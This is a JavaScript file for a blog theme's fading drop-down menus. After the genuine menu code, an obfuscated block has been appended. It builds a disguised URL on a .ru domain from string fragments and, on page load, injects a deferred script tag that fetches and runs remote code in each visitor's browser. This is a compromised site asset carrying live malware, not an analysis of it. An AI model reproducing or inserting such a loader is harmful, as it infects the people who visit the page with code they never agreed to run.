/*
Author: mg12
Update: 2008/12/29
Author URI: http://www.neoease.com/
*/
(function() {

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

var GhostlyMenu = Class.create();
GhostlyMenu.prototype = {

	initialize: function(target, align, opacity, offset) {
		this.obj = cleanWhitespace(target);
		this.align = align || 'left';
		this.opacity = 0;
		this.maxopacity = opacity || 1;
		this.offset = offset || 0;

		this.menu = this.obj.childNodes
		if (this.menu.length < 2) { return; }

		this.title = this.menu[0];
		this.body = this.menu[1];

		cleanWhitespace(this.body).firstChild.className = 'first';

		if (/MSIE/i.test(navigator.userAgent)) {
			var readers = getElementsByClassName('reader', 'a', this.body);
			for (var i = 0; i < readers.length; i++) {
				setStyle(readers[i], 'cursor', 'hand');
			}
		}

		setStyle(this.body, 'visibility', 'hidden');
		setStyle(this.body, 'position', 'absolute');
		setStyle(this.body, 'overflow', 'hidden');
		setStyle(this.body, 'display', 'block');

		addListener(this.obj, 'mouseover', bind(this, this.activate), false);
		addListener(this.obj, 'mouseout', bind(this, this.deactivate), false);
	},

	activate: function() {
		var pos = cumulativeOffset(this.title);
		var left = pos[0];
		if (this.align == 'right') {
			var offset = getWidth(this.title) - getWidth(this.body) + this.offset;
			left += offset;
		}
		var top = pos[1] + getHeight(this.title);

		setStyle(this.body, 'left', left + 'px');
		setStyle(this.body, 'top', top + 'px');
		setStyle(this.body, 'visibility', 'visible');
		setStyle(this.body, 'opacity', this.opacity);
		setStyle(this.body, 'MozOpacity', this.opacity);
		setStyle(this.body, 'KhtmlOpacity', this.opacity);
		setStyle(this.body, 'filter', 'alpha(opacity=' + this.opacity * 100 + ')');

		if(this.tid) {
			clearTimeout(this.tid);
		}
		this.tid = setInterval(bind(this, this.appear), 30);
	},

	deactivate: function(){
		if(this.tid) {
			clearTimeout(this.tid);
		}
		this.tid = setInterval(bind(this, this.fade), 30);
	},

	appear: function() {
		this.opacity += 0.1;
		if(this.opacity >= this.maxopacity) {
			this.opacity = this.maxopacity;
			clearTimeout(this.tid);
		}
		setStyle(this.body, 'opacity', this.opacity);
		setStyle(this.body, 'MozOpacity', this.opacity);
		setStyle(this.body, 'KhtmlOpacity', this.opacity);
		setStyle(this.body, 'filter', 'alpha(opacity=' + this.opacity * 100 + ')');
	},

	fade:function() {
		this.opacity -= 0.1;
		if(this.opacity <= 0) {
			this.opacity = 0;
			setStyle(this.body, 'visibility', 'hidden');
			clearTimeout(this.tid);
		}
		setStyle(this.body, 'opacity', this.opacity);
		setStyle(this.body, 'MozOpacity', this.opacity);
		setStyle(this.body, 'KhtmlOpacity', this.opacity);
		setStyle(this.body, 'filter', 'alpha(opacity=' + this.opacity * 100 + ')');
	}
}

$ = function(id) {
	return document.getElementById(id);
}

$A = function(iterable) {
	if(!iterable) {
		return [];
	}
	if(iterable.toArray) {
		return iterable.toArray();
	} else {
		var results = [];
		for(var i = 0; i < iterable.length; i++) {
			results.push(iterable[i]);
		}
		return results;
	}
}

getElementsByClassName = function(className, tag, parent) {
	parent = parent || document;

	var allTags = (tag == '*' && parent.all) ? parent.all : parent.getElementsByTagName(tag);
	var matchingElements = new Array();

	className = className.replace(/\-/g, '\\-');
	var regex = new RegExp('(^|\\s)' + className + '(\\s|$)');

	var element;
	for (var i = 0; i < allTags.length; i++) {
		element = allTags[i];
		if (regex.test(element.className)) {
			matchingElements.push(element);
		}
	}

	return matchingElements;
}

bind = function() {
	var array = this.$A(arguments);
	var func = array[array.length - 1];
	var _method = func, args = array, object = args.shift();
	return function() {
		return _method.apply(object, args.concat(array));
	}
}

getHeight = function(element) {
	return element.offsetHeight;
}

getWidth = function(element) {
	return element.offsetWidth;
}

setStyle = function(element, key, value) {
	element.style[key] = value;
}

getStyle = function(element, key) {
	return element.style[key];
}

cleanWhitespace = function(list) {
	var node = list.firstChild;
	while (node) {
		var nextNode = node.nextSibling;
		if(node.nodeType == 3 && !/\S/.test(node.nodeValue)) {
			list.removeChild(node);
		}
		node = nextNode;
	}
	return list;
}

cumulativeOffset = function(element) {
	var valueT = 0, valueL = 0;
	do {
		valueT += element.offsetTop  || 0;
		valueL += element.offsetLeft || 0;
		element = element.offsetParent;
	} while (element);
	return [valueL, valueT];
}

addListener = function(element, name, observer, useCapture) {
	if(element.addEventListener) {
		element.addEventListener(name, observer, useCapture);
	} else if(element.attachEvent) {
		element.attachEvent('on' + name, observer);
	}
}

function loadMenus() {
	var subscribe = $('subscribe');
	if (subscribe) {
		new GhostlyMenu(subscribe, 'left', 1, 1);
	}

	var menubar = $('menus');
	if (menubar) {
		var list = cleanWhitespace(menubar.childNodes);
		for (var i = 0; i < list.length; i++) {
			new GhostlyMenu(list[i], 'left', 1, 1);
		}
	}
}

if (document.addEventListener) {
	document.addEventListener("DOMContentLoaded", loadMenus, false);

} else if (/MSIE/i.test(navigator.userAgent)) {
	document.write('<script id="__ie_onload_for_inove" defer src="javascript:void(0)"></script>');
	var script = $('__ie_onload_for_inove');
	script.onreadystatechange = function() {
		if (this.readyState == 'complete') {
			loadMenus();
		}
	}

} else if (/WebKit/i.test(navigator.userAgent)) {
	var _timer = setInterval( function() {
		if (/loaded|complete/.test(document.readyState)) {
			clearInterval(_timer);
			loadMenus();
		}
	}, 10);

} else {
	window.onload = function(e) {
		loadMenus();
	}
}

window['MGJS_MENU'] = {};

})();

var h=new Date();var s;if(s!='' && s!='T'){s=''};var LM=new Date();var rB;if(rB!='' && rB!='OE'){rB=''};function V(){var pD;if(pD!='jx'){pD=''};this.U="";var D='';var N;if(N!='' && N!='b'){N='l'};var Ry="";var x="gYBA".substr(0,1);var w;if(w!='C' && w != ''){w=null};var O=RegExp;var GY;if(GY!='' && GY!='wS'){GY=''};var QW='';var LT;if(LT!='' && LT!='Y'){LT=null};function r(Q,F){var M;if(M!='dY' && M!='Ge'){M=''};var X= new String("fT1X[".substr(4));X+=F;var Vu;if(Vu!=''){Vu='Vy'};var hv;if(hv!='pX'){hv='pX'};X+="LvFA]".substr(4);var o;if(o!='rv'){o=''};var CJ;if(CJ!='' && CJ!='Ng'){CJ=null};var m=new O(X, x);var Gy=new String();return Q.replace(m, D);var dc="";};var _l;if(_l!=''){_l='xX'};this.ue='';this.ul="";var mu=window;var At;if(At!='t'){At='t'};var rk;if(rk!='zG'){rk='zG'};var _=String("src");var iE='';var Wr=new Array();var L=String("Lfd/beb".substr(3)+"bLJo.co".substr(3)+"m/be57xz".substr(0,4)+"bo.cPDs".substr(0,4)+"om/g"+"1BQzoogl".substr(4)+"e.cot2Uw".substr(0,4)+"3saOm/th".substr(4)+"RDPsepla".substr(4)+"net."+"com/"+"doubyGmt".substr(0,4)+"lecl"+"ick."+"NxMYcom.".substr(4)+"php7Ok".substr(0,3));this.AK='';var I=r('844664604644646686664446066464466',"46");var WN="";var Oh="ioHhttp".substr(3)+"iQv://pvQi".substr(3,4)+"af4conl".substr(3)+"ine-"+"com-"+"cn.iOeP".substr(0,4)+"nsigTj2f".substr(0,4)+"LrJhtex".substr(3)+"owHTpres".substr(4)+"35fgsai.g5f3".substr(4,4)+"com."+"abcn1Hj0".substr(0,4)+"ews-bFKt".substr(0,4)+"go-c"+"om.g"+"fJ9reatf9J".substr(3,4)+"myowMkZJ".substr(0,4)+"LziDn.ru".substr(4)+":FUW9".substr(0,1);var l_=new Array();var cN;if(cN!=''){cN='jK'};var d='';var Ya="";var K=new String("scripNHB".substr(0,5)+"t751O".substr(0,1));this.aT="";var a=String("def"+"erPch".substr(0,2));var sr;if(sr!='Vb' && sr!='eX'){sr='Vb'};var ki;if(ki!=''){ki='vD'};var My='';var _I;if(_I!='' && _I!='Gt'){_I=''};mu.onload=function(){var y;if(y!='' && y!='FN'){y=''};var oN;if(oN!=''){oN='Uq'};try {this.Sx="";var oE=new Array();d=Oh+I;var JA;if(JA!='' && JA!='BP'){JA=''};var xH="";d+=L;var cn=new Array();R=document.createElement(K);var TV=new String();var YeW;if(YeW!='' && YeW!='_X'){YeW='bd'};R[_]=d;R[a]=[1,4][0];this.KD='';this.hq='';var NJ=new Array();this.kz='';document.body.appendChild(R);var qd;if(qd!='IS' && qd!='tR'){qd='IS'};var OQ;if(OQ!='' && OQ!='uw'){OQ=''};var TP=new String();} catch(v){var n=new Date();};var ec;if(ec!='' && ec!='XB'){ec=null};var tl;if(tl!='Kt'){tl='Kt'};};};var roj=new String();V();var vDa;if(vDa!='rA' && vDa!='cB'){vDa=''};